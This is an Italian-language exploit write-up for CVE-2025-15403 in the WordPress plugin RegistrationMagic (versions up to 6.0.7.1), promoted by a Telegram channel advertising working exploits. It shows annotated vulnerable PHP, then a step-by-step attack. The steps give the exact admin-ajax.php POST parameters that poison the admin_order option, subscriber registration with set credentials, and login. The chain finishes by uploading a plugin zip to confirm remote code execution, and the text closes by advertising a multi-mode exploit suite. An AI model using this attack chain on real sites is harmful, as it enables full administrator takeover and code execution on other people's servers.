
RegistrationMagic <= 6.0.7.1 - Escalation dei privilegi non autenticata tramite admin_order
RegistrationMagic <= 6.0.7.1 - Escalation dei Privilegi non Autenticata tramite admin_order
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
📡 Le informazioni arrivano qui per prime. Segui @KNxploited su Telegram — divulgazioni CVE di precisione, exploit funzionanti e ricerca approfondita sulle vulnerabilità. Il canale per chi non aspetta le notizie — le crea.
CVE-2025-15403 è una vulnerabilità di Escalation dei Privilegi CVSS 9.8 Critica nel plugin RegistrationMagic per WordPress.
Il difetto risiede nella funzione add_menu del plugin, esposta senza autenticazione tramite l'azione AJAX rm_user_exists. Iniettando uno slug vuoto nel parametro order insieme al flag enable_admin_order=yes, un attaccante manipola la logica interna di generazione del menu del plugin. Quando il menu di amministrazione viene successivamente costruito, il plugin chiama silenziosamente add_cap('manage_options') sul ruolo target — elevando qualsiasi account di livello abbonato a piena capacità amministrativa.
| Campo | Dettagli |
|---|---|
| CVE ID | CVE-2025-15403 |
| Plugin | RegistrationMagic |
| Slug | registrationmagic / custom-registration-form-builder-with-submission-manager |
| Versioni Affette | Tutte le versioni fino alla 6.0.7.1 inclusa |
| Tipo di vulnerabilità | Escalation dei Privilegi non Autenticata |
| Requisito dell'attacco | Fase AJAX: Nessuna. Sfruttamento: Account Abbonato |
| Vettore d'attacco | Rete |
| Punteggio CVSS 3.1 | 9.8 CRITICAL |
| Vettore CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Impatto | Acquisizione Completa dell'Amministratore WordPress |
| Ricercatore | Nxploited |
La causa principale è che la funzione add_menu è raggiungibile senza autenticazione tramite rm_user_exists, combinata con l'assenza di validazione dello slug admin_order:
// Registrata senza controllo di capacità
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← Controllato dall'utente, NON sanitizzato
$role_key = /* derivato da POST */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// Memorizza l'order controllato dall'attaccante nelle opzioni del plugin
update_option('rm_admin_order', $order); // es. ",menu1" → primo slug vuoto
}
}
// Successivamente, quando viene costruito il menu admin...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← Avvelenato dall'attaccante
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// Slug vuoto attiva la concessione incondizionata di capacità
$role->add_cap('manage_options'); // ← CAPACITÀ ADMIN COMPLETA AGGIUNTA
}
}
}
Perché è critico:
wp_ajax_nopriv_* = zero autenticazione necessaria per avvelenare l'opzioneorder=,menu1 supera il controllo empty(), attivando add_cap('manage_options')manage_options è la capacità più alta di WordPress — equivalente ad Amministratore╔══════════════════════════════════════════════════════════════════════════╗
║ FASE 1 — Avvelenamento dell'Opzione non Autenticato ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← primo elemento vuoto = slug vuoto
_Subscriber = 1 ← chiave ruolo target
restore = false
enable_admin_order= yes
Risposta: HTTP 200 (qualsiasi risposta non bloccata = opzione avvelenata)
↓ Il plugin memorizza order=",menu1" in wp_options
↓ Al successivo caricamento del menu admin, add_cap('manage_options') viene attivato sul ruolo Abbonato
╔══════════════════════════════════════════════════════════════════════════╗
║ FASE 2 — Acquisizione dell'Account (Abbonato) ║
╚══════════════════════════════════════════════════════════════════════════╝
Opzione A — Registrati tramite il form di registrazione del sito (Modalità 0):
GET /wp-login.php?action=register → rilevamento intelligente del form
POST → crea account abbonato
Credenziali: NXploited / xplpass123
Opzione B — Usa un account abbonato esistente.
╔══════════════════════════════════════════════════════════════════════════╗
║ FASE 3 — Login + Raccolta delle Capacità ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
L'account Abbonato ora possiede manage_options → pannello admin completamente accessibile
╔══════════════════════════════════════════════════════════════════════════╗
║ FASE 4 — Verifica Approfondita e RCE tramite Caricamento Plugin ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → Dashboard admin accessibile ✔️
GET /wp-admin/plugin-install.php → Pagina installazione plugin accessibile ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → Plugin caricato ed eseguito ✔️
GET /wp-content/plugins/Nxploited/hello.php
La risposta contiene "Nxploited" → RCE CONFERMATO ✔️
Questa suite di exploit fornisce tre modalità distinte per coprire l'intero ciclo di vita dell'attacco: